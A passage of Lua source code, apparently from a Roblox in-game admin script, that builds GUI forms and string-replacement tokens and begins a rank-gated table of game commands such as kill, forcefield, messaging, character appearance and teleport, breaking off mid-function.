5200 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5201 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5202 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5203
5204 local _,Rank = RANK:GetRank(Player)
5205 local UsableCommands = {}
5206 for CommandNames,Data in pairs(Commands) do
5207 if not Data.Hidden then
5208 if RANK:ConvertRank(Data[4]) <= Rank then
5209 for _,Command in pairs(CommandNames) do
5210 table.insert(UsableCommands, {Command, Data[3]})
5211 end
5212 end
5213 end
5214 end
5215
5216 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5217
5218 local function ExecuteText()
5219 local Text = CORE:ReadProperty(RPR, Player, "Text")
5220 CORE:Chatted(Text, Player, true)
5221 CommandBox.Text = "Enter a command here"
5222 end
5223
5224 local function AddSuggestion(Text)
5225 if Text == nil then Text = Settings.Prefix end
5226 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5227 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5228 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5229 if Text == Settings.Prefix then
5230 CommandBox.Text = Settings.Prefix
5231 else
5232 CommandBox.Text = Settings.Prefix..Text
5233 end
5234 CORE:ExecuteResource("Focus", CommandBox)
5235 end, true)
5236 end
5237
5238 CORE:HandleEvent(CommandBox, "MouseEnter", function()
5239 if CommandBox.Text == "Enter a command here" then
5240 CommandBox.Text = ""
5241 end
5242 end)
5243
5244 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5245 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5246
5247 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5248
5249
5250 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5251 Suggest.CanvasSize = UDim2.new(0,0,0,0)
5252 Suggest:ClearAllChildren()
5253 local Text = CORE:ReadProperty(RPR, Player, "Text")
5254 if Text == "" then
5255 AddSuggestion(Settings.Prefix)
5256 end
5257
5258 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5259 Text = string.sub(Text,#Settings.Prefix+1)
5260 end
5261 for _,Data in pairs(UsableCommands) do
5262 local Command,Args = Data[1],Data[2]
5263 if string.find(string.lower(Command),string.lower(Text)) then
5264 local NewSuggestion = Command
5265 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5266 AddSuggestion(NewSuggestion)
5267 end
5268 end
5269
5270 end end)
5271end
5272
5273function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5274 if not Player or not AllSeconds then return nil end
5275 AllSeconds = tonumber(AllSeconds)
5276 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5277 AllSeconds = math.floor(AllSeconds)
5278 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5279 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5280 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
5281 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5282 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5283 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5284
5285 local CurrentSeconds = AllSeconds
5286 local Alive = true
5287 coroutine.wrap(function() for i = 0,AllSeconds do
5288 if not Alive then break end
5289 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5290 local Minutes = tostring(math.floor(CurrentSeconds/60))
5291 if #Seconds == 1 then Seconds = "0"..Seconds end
5292 if #Minutes == 1 then Minutes = "0"..Minutes end
5293 Time.Text = Minutes..":"..Seconds
5294 wait(1)
5295 if CurrentSeconds <= 0 then
5296 Alarm:Play()
5297 Time.Text = "00:00"
5298 Part.Size = UDim2.new(1,0,1,0)
5299 Restore:Invoke()
5300 wait(4)
5301 Close:Invoke()
5302 break
5303 else
5304 Tick:Play()
5305 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5306 CurrentSeconds = CurrentSeconds - 1
5307 end
5308 end end)()
5309
5310 Closed.Event:connect(function()
5311 if Alive == true then
5312 Alive = false
5313 Tick:Stop()
5314 Alarm:Stop()
5315 end
5316 end)
5317end)() end
5318
5319function GUI:DetachChat(Player)
5320 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5321 if Player:FindFirstChild("DetachChatMML") then
5322 Player.DetachChatMML:Invoke(true)
5323 wait()
5324 Player.DetachChatMML:Destroy()
5325 end
5326
5327 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5328 local SG = Frame.Parent.Parent.Parent
5329
5330 local DCBF = Instance.new("BindableFunction", Player)
5331 DCBF.Name = "DetachChatMML"
5332 DCBF.OnInvoke = function(Remove)
5333 if Remove then
5334 SG:Destroy()
5335 end
5336 end
5337 CORE:ExecuteResource("CoreChat", SG)
5338
5339 local IsClosed = false
5340 Closed.Event:connect(function()
5341 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5342 IsClosed = true
5343 end)
5344
5345 coroutine.wrap(function()
5346 Player.CharacterRemoving:wait()
5347 if not IsClosed then
5348 IsClosed = true
5349 wait(1)
5350 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5351 end
5352 end)()
5353end
5354
5355function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5356 if not Player then return nil end
5357 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5358 Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5359
5360 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5361end)() end
5362
5363function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5364 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5365 if not SoundID then SoundID = SoundInfo["ID"] end
5366 if not TitleText then TitleText = SoundInfo["Name"] end
5367 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5368 if not InputSound then InputSound = Sound end
5369
5370 local NumSounds = 0
5371 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5372 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5373 NumSounds = NumSounds + 1
5374 end
5375 end
5376
5377 local Size = UDim2.new(0.1, 100, 0.1, 100)
5378 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5379 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5380
5381 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5382 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5383 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5384 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5385 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5386 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5387 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5388
5389 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5390 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5391 if Sound then
5392 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5393 end
5394 if Time then
5395 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5396 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5397
5398 coroutine.wrap(function()
5399 local Alive = true
5400
5401 local function StopTimer() Alive = false end
5402 Closed.Event:connect(StopTimer)
5403 Minimized.Event:connect(StopTimer)
5404 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5405
5406 for i = Time,0,-1 do
5407 for ii = 1,10 do
5408 if Alive == true then
5409 Timer.Text = i
5410 wait(0.1)
5411 else
5412 break
5413 end
5414 end
5415 end
5416 if Alive == true then
5417 Close:Invoke()
5418 else
5419 Timer:Destroy()
5420 Stop:Destroy()
5421 end
5422 end)()
5423 end
5424end
5425
5426---- STRING REPLACEMENT OPERATIONS ----
5427
5428-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5429
5430-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5431
5432StringReplacements = {
5433 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5434 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5435 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5436 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5437 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5438 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5439 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5440 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5441 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5442 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5443
5444 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5445 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5446 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5447 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5448 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5449 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5450
5451 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5452 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5453 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5454 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5455 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5456 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5457 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5458 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5459 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5460 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5461 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5462 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5463 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5464 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5465 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5466 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5467}
5468
5469---- COMMANDS ----
5470
5471-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5472
5473Commands = { -- can't make local
5474 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5475 print("[MML's Admin]: Test message from "..Speaker.Name)
5476 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5477 end};
5478
5479 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5480 local Players = STRING:Scan(Arguments[1], Speaker)
5481 for _,Player in pairs(Players) do
5482 if Player.Character then
5483 Player.Character:BreakJoints()
5484 end
5485 end
5486 end};
5487
5488 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5489 local Players = STRING:Scan(Arguments[1], Speaker)
5490 for _,Player in pairs(Players) do
5491 if Player.Character then
5492 Instance.new("ForceField", Player.Character)
5493 end
5494 end
5495 end};
5496
5497 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5498 local Players = STRING:Scan(Arguments[1], Speaker)
5499 for _,Player in pairs(Players) do
5500 if Player.Character then
5501 for _,Get in pairs(Player.Character:GetChildren()) do
5502 if Get:IsA("ForceField") then
5503 Get:Destroy()
5504 end
5505 end
5506 end
5507 end
5508 end};
5509
5510 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5511 for _,Player in pairs(Server.Players:GetPlayers()) do
5512 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5513 end
5514 end};
5515
5516 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5517 for _,Player in pairs(Server.Players:GetPlayers()) do
5518 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5519 end
5520 end};
5521
5522 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5523 local Players = STRING:Scan(Arguments[1], Speaker)
5524 for _,Player in pairs(Players) do
5525 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5526 end
5527 end};
5528
5529 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5530 for _,Player in pairs(Server.Players:GetPlayers()) do
5531 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5532 end
5533 end};
5534
5535 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5536 local Players = STRING:Scan(Arguments[1], Speaker)
5537 for _,Player in pairs(Players) do
5538 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5539 end
5540 end};
5541
5542 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5543 local Players = STRING:Scan(Arguments[1], Speaker)
5544 local AgeList = {}
5545 for _,Player in pairs(Players) do
5546 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5547 end
5548 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5549 end};
5550
5551 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5552 local Players = STRING:Scan(Arguments[1], Speaker)
5553 local AgeList = {}
5554 for _,Player in pairs(Players) do
5555 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5556 end
5557 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5558 for _,Player in pairs(SecondPlayers) do
5559 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5560 end
5561 end};
5562
5563 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5564 local Storage = {{}, {}, {}, {}}
5565 local StorageText = {}
5566 local Formatted = {}
5567 for CommandNames,Data in pairs(Commands) do
5568 if not Data.Hidden then
5569 local RankNeeded = RANK:ConvertRank(Data[4])
5570 local Add = ""
5571 if Data[4] == "Non-Admin" then Add = "BLACK " end
5572 if Data[4] == "Admin" then Add = "CYAN " end
5573 if Data[4] == "Member" then Add = "BLUE " end
5574 if Data[4] == "Owner" then Add = "BROWN " end
5575 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5576 local AddBet = Settings.Bet
5577 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5578 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5579 table.insert(Storage[RankNeeded + 1], Add..Text)
5580 StorageText[Text] = CommandNames
5581 end
5582 end
5583 for Num,_ in pairs(Storage) do
5584 table.sort(Storage[Num])
5585 end
5586 for _,Table in pairs(Storage) do
5587 for _,Command in pairs(Table) do
5588 table.insert(Formatted, Command)
5589 end
5590 end
5591 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5592 Clicked.Event:connect(function(Text)
5593 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5594 end)
5595 end};
5596
5597 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5598 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5599 end};
5600
5601 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5602 if GUI:GetColor(Arguments[1]) then
5603 local ColorScheme = string.upper(Arguments[1])
5604 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5605 Settings.ColorScheme = ColorScheme
5606 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5607 else
5608 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5609 end
5610 end};
5611
5612 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5613 local List = {}
5614 for Color,_ in pairs(Colors) do
5615 table.insert(List, Color.." "..Color)
5616 end
5617 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5618 end};
5619
5620 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5621 local Transparency = tonumber(Arguments[1])
5622 if Transparency then
5623 if Transparency > 90 then Transparency = 90 end
5624 if Transparency < 10 then Transparency = 10 end
5625 Settings.TransparencyScheme = Transparency/100
5626
5627 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5628 else
5629 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5630 end
5631 end};
5632
5633 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5634 if Fonts[Arguments[1]] then
5635 Settings.Font = Arguments[1]
5636 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5637 end
5638 end};
5639
5640 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5641 Settings.Fun = not Settings.Fun
5642 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5643 end};
5644
5645 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5646 Settings.DisableAbuse = not Settings.DisableAbuse
5647 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5648 end};
5649
5650 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5651 local List = {}
5652 for Font,_ in pairs(Fonts) do
5653 if Font == Settings.Font then
5654 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5655 else
5656 table.insert(List, Font.." "..Font)
5657 end
5658 end
5659 GUI:ListGui(Speaker, "Font list", List, 44453197)
5660 end};
5661
5662 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5663 local SoundID = tonumber(Arguments[1])
5664 if SoundID then
5665 Settings.ExecuteNotificationSound = SoundID
5666
5667 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5668 else
5669 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5670 end
5671 end};
5672
5673 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5674 Settings.ExecuteNotificationSound = 0
5675 end};
5676
5677 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5678 local Players = STRING:Scan(Arguments[1], Speaker)
5679 for _,Player in pairs(Players) do
5680 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5681 end
5682 end};
5683
5684 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5685 local Players = STRING:Scan(Arguments[1], Speaker)
5686 for _,Player in pairs(Players) do
5687 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5688 end
5689 end};
5690
5691 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5692 local Players = STRING:Scan(Arguments[1], Speaker)
5693 for _,Player in pairs(Players) do
5694 coroutine.wrap(function()
5695 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5696 wait(1)
5697 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5698 end)()
5699 end
5700 end, Hidden = true};
5701
5702 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5703 local Players = STRING:Scan(Arguments[1], Speaker)
5704 for _,Player in pairs(Players) do
5705 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5706 end
5707 end};
5708
5709 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5710 local Players = STRING:Scan(Arguments[1], Speaker)
5711 for _,Player in pairs(Players) do
5712 CORE:ChangeName(Player, Arguments[2])
5713 end
5714 end};
5715
5716 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5717 local Players = STRING:Scan(Arguments[1], Speaker)
5718 for _,Player in pairs(Players) do
5719 if Player.Character then
5720 local Head = Player.Character:FindFirstChild("Label")
5721 if Head then Head:Destroy() end
5722 local Head = Player.Character:FindFirstChild("Head")
5723 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5724 end
5725 end
5726 end};
5727
5728 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5729 local Players = STRING:Scan(Arguments[1], Speaker)
5730 for _,Player in pairs(Players) do
5731 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5732 end
5733 end};
5734
5735 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5736 local Players = STRING:Scan(Arguments[1], Speaker)
5737 for _,Player in pairs(Players) do
5738 local _,RankNum = RANK:GetRank(Player)
